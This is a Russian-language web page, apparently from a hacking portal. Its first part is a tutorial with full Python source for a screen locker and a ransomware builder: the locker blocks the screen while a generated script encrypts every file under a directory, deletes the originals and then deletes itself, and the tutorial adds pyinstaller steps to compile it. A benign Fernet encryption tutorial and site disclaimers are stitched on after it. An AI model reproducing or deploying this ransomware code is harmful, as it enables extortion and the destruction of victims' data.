
from tkinter import Tk,Entry,label
from pyautogui import click, moveTo
from time import sleep

Импортим модули из библиотек, первый модуль нужен для создания экрана, второй для затруднения доступа к другим файлам типа cmd, диспетчер задач и т.п и так же он будет все время кликать в центр, последняя нужна для того чтобы pyautogui начал свои действия не сразу.
Далее создаем функции

def callback(event):
    global k,entry
    if entry.get()=="Lockerrr": k=True #пароль который человек должен ввести чтобы разблокировать систему
def on_closing():
    click(675, 420) #координаты кликанья мышки
    moveTo(675, 420) #координаты сдвига мышки
    root.attributes("-fullscreen",True) #создаем экран во весь монитор т.е без полей
    root.protocol("WM_DELETE_WINDOW", on_closing) #закрытие посторонних окон
    root.update()
    root.bind('<Control-KeyPress-c>', callback) #какие клавиши нужно нажать когда введешь пароль
root=Tk() # Создание окна
root.title("Locker") # Заголовочное название
root.attributes("-fullscreen",True) # Расширение под экран
entry=Entry(root,font=1) # Поле ввода
entry.place(width=150,height=50,x=600,y=400) # Координаты и размеры
label0=Label(root,text="Locker_by_CypherZ",font=1) # Надпись 1
label0.grid(row=0,column=0) # Координаты надписи 1(по колонкам как в exel)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') # Надпись 2
label1.place(x=470,y=300) # Координаты надписи 2
root.update(); sleep(0.2); click(675, 420) # Обновление экрана программы
k=False
while k!=True: on_closing()

окно локера
upload_2018-6-13_12-15-23.png
Вот и все наш карманный локер готов, теперь нам надо совместить локер и шифровалльщик.
Наша программа будет действовать по очередности то есть сначала запустится локер а под ним будет работать шифровальщик.
(это уже билдер т.к отдельно писать локер-шифровальщик а потом добавит в него пару строк кода чтобы превратить его в билдер — бессмысленно, только лишний текст)

direct=input("Write the root directory for crypt: ") #пишем директорию для шифрования
password=input("Write the password for crypter: ") #пишем пароль для шифровальщика
pasw=input("Write the password for locker: ") #пишем пароль для локера
with open("cryptlocker.py","w") as crypt:
    crypt.write('''
import os, sys, pyAesCrypt
from threading import *
from pyautogui import click, moveTo
from tkinter import Tk,Entry,Label
from time import sleep
def locker():
    def callback(event):
        global k,entry
        if entry.get()=="'''+str(pasw)+'''": k=True
    def block(void):
        click(675, 420)
        moveTo(675, 420)
        root.attributes("-fullscreen",True)
        root.protocol("WM_DELETE_WINDOW", block)
        root.update()
        root.bind('<Control-KeyPress-c>', callback)
    global k,entry
    root = Tk()
    root.title("Locker")
    root.attributes("-fullscreen",True)
    entry = Entry(root,font=1)
    label0=Label(root,text="Locker_by_#571",font=1)
    label0.grid(row=0,column=0)
    label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20')
    label1.place(x=470,y=300)
    entry.place(width=150,height=50,x=600,y=400)
    root.update(); sleep(0.2)
    click(675, 420)
    k=False
    while k!=True: block(None)
def crypter():
    def crypt(file):
        password="'''+str(password)+'''"
        bufferSize = 512*1024
        pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
        print("[crypted] '"+str(file)+".crp'")
        os.remove(file)
    def walk(dir):
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            if os.path.isfile(path): crypt(path)
            else: walk(path)
    walk("'''+str(direct)+'''")
    os.remove(str(sys.argv[0]))
thread_1 = Thread(target=locker)    #Эти функции говорят чтобы сначала запускался локер а потом шифровальщик
thread_2 = Thread(target=crypter)  #
thread_1.start(); thread_2.start()    #
thread_1.join(); thread_2.join()      #
''')
    print("[+] File 'cryptlocker.py' successfully saved!")
with open("key.py","w") as key:
    key.write('''
import os, sys
def decrypt(file):
    import pyAesCrypt
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
''')
    print("[+] File 'key.py' successfully saved!")

В конце концов создается два файла criptlocker.py и key.py оба удаляются после первого использования

КОМПИЛЯЦИЯ
Компилить можно через pyinstaller, py2exe, cxFreeze. Самый удобный по моему это pyinstaller, будем компилить через него.

Открываем cmd в папке с файлами и прописываем так для любого файла

pyinstaller -i названиеиконки.ico -F -w названиефайла.py

-i — параметр задающий иконку
-F — параметр собирающий все в один бинарник
-w — параметр указывающий на закрытие командной строки при запуске бинарника
(все файлы с которыми вы будете работать при компиляции должны лежать в одной паке)

Вот и все, мы написали наш locker-шифровальщик.

Шифрование — это процесс кодирования информации, позволяющий только авторизованным сторонам получить к ней доступ.

Хотим поделиться с вами, как можно шифровать файлы, используя Python с помощью библиотеки cryptography, построенной на основе алгоритма AES. Возможно кому-то, также как и нам, такой способ покажется более простым для шифрования файла с данными.

В данном примере используется симметричное шифрование. Тот же ключ, который применяется для шифрования данных, можно использовать для их дешифрования.

Итак, установим библиотеку cryptography:

pip install cryptography

Открываем новый файл Python:

from cryptography.fernet import Fernet

Создаем ключ и сохраняем его в файл, например, crypto.key:

def write_key():
# Создаем ключ и сохраняем его в файл
key = Fernet.generate_key()
with open(‘crypto.key’, ‘wb’) as key_file:
key_file.write(key)

Внимание! Сгенерированный ключ crypto.key необходимо хранить в надежном месте. В случае его потери невозможно будет расшифровывать данные, которые были зашифрованы этим ключом.

Этот ключ уникален, и нет необходимости генерировать ключ каждый раз, когда потребуется зашифровать что-либо.

Создадим функцию для загрузки этого ключа:

def load_key():
# Загружаем ключ ‘crypto.key’ из текущего каталога
return open(‘crypto.key’, ‘rb’).read()

Далее понадобится создать функцию для шифрования файла:

def encrypt(filename, key):
# Зашифруем файл и записываем его
f = Fernet(key)

После инициализации объекта Fernet с заданным ключом прочитаем этот файл:

with open(filename, ‘rb’) as file:
# прочитать все данные файла
file_data = file.read()

После этого, зашифровываем данные:

# Зашифровать данные
encrypted_data = f.encrypt(file_data)

Запишем зашифрованный файл с тем же именем, чтобы он переопределил оригинал:

# записать зашифрованный файл
with open(filename, ‘wb’) as file:
file.write(encrypted_data)

Теперь создадим функцию расшифровки файла:

def decrypt(filename, key):
# Расшифруем файл и записываем его
f = Fernet(key)
with open(filename, ‘rb’) as file:
# читать зашифрованные данные
encrypted_data = file.read()
# расшифровать данные
decrypted_data = f.decrypt(encrypted_data)
# записать оригинальный файл
with open(filename, ‘wb’) as file:
file.write(decrypted_data)

И, наконец, проверим это на конкретном файле, разместив шифруемый файл и ключ в текущем каталоге.

Например, для шифрования файла с именем ‘report.csv’вызываем созданную функцию encrypt():

# раскомментируйте следующую строку, если запускаете код впервые, чтобы сгенерировать ключ
# write_key()
# загрузить ключ
key = load_key()
# имя шифруемого файла
file = ‘report.csv’
# зашифровать файл
encrypt(file, key)

После шифрования будет видно, что размер файла ‘report.csv’увеличился, и мы не сможем прочитать содержимое этого файл.

Чтобы вернуть файл ‘report.csv’в исходную форму, вызовем функцию decrypt ():

# расшифровать файл
decrypt(file, key)

Получаем исходный файл ‘report.csv’вместо ранее зашифрованного.

Обратите внимание на то, что при применении данного кода, размер файла не должен превышать объем оперативной памяти.

Применение этого несложного кода Python даст возможность надежно защитить данные от несанкционированного доступа к ним и соблюсти требования кибербезопасности при работе с критически важной информацией. При этом установки какого-либо специального программного обеспечения не требуется.

Как написать свой шифровальщик данных на Python

Listen to this article

Чтобы открыть контент, необходимо пройти быструю регистрацию или войти в свой профиль. После этого Вы получите полный доступ ко всем материалам на портале.

Кибер-Грамотность

Спасибо что вы с нами!

ВНИМАНИЕ! Все представленные ссылки в статьях могут вести на вредоносные сайты либо содержать вирусы. Переходите по ним на свой страхъ и риск. Тот кто целенаправлено зашел на статью знает что делает. Не нажимайте на все подряд бездумно.

Некоторые статьи были переведены с английского языка с помощью системы машинного перевода и могут содержать неточности или грамматические ошибки.

ВСЯ РАЗМЕЩЕННАЯ ИНФОРМАЦИЯ НА СТРАНИЦАХ ПОРТАЛА ВЗЯТА ИЗ ОТКРЫТЫХ ИСТОЧНИКОВ

БОЛЬШАЯ ЧАСТЬ ИНФОРМАЦИИ ПРЕДОСТАВЛЯЕТСЯ АБСОЛЮТНО БЕСПЛАТНО


Если Вам понравилась статья — поделитесь с друзьями

38 просмотров

Любая информация, размещенная на сайте https://rucore.net, предназначена только для свободного изучения пользователями сайта. Наша команда прилагает все усилия для того, чтобы предоставить на этом сайте достоверную и полезную информацию, которая отвечает на вопросы пользователей сайта. Ни при каких обстоятельствах Администрация Сайта не несёт ответственности за какой-либо прямой, непрямой, особый или иной косвенный ущерб в результате использования информации на этом Сайте или на любом другом сайте, на который имеется гиперссылка с данного cайта, возникновение зависимости, снижения продуктивности, увольнения или прерывания трудовой активности, а равно отчисления из учебных учреждений, за любую упущенную выгоду, приостановку хозяйственной деятельности, потерю программ или данных в Ваших информационных системах или иным образом, возникшие в связи с доступом, использованием или невозможностью использования Сайта, Содержимого или какого-либо связанного интернет-сайта, или неработоспособностью, ошибкой, упущением, перебоем, дефектом, простоем в работе или задержкой в передаче, компьютерным вирусом или системным сбоем, даже если администрация будет явно поставлена в известность о возможности такого ущерба.

Используя данный Сайт, Вы выражаете свое согласие с «Отказом от ответственности» и установленными Правилами и принимаете всю ответственность, которая может быть на Вас возложена. А так же Вы можете ознакомиться с полной версией данного «отказа от ответственности» и нашей «политики конфиденциальности» по следующей ссылке.

Цель данного раздела сайта

Основной задачей закрытого раздела сайта, является сбор (парсинг) и сохраниение в базе данных наиболее интересных и качественных материалов из разнообразных источников. Более подробней можно ознакомиться по ссылке.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Понравилась статья? Поделить с друзьями:
  • Как оригинально написать парню что соскучилась
  • Как написать шерше ля фам правильно
  • Как ни крути как пишется запятая
  • Как написать чтобы человек выздоравливал своими словами
  • Как не бояться написать парню первой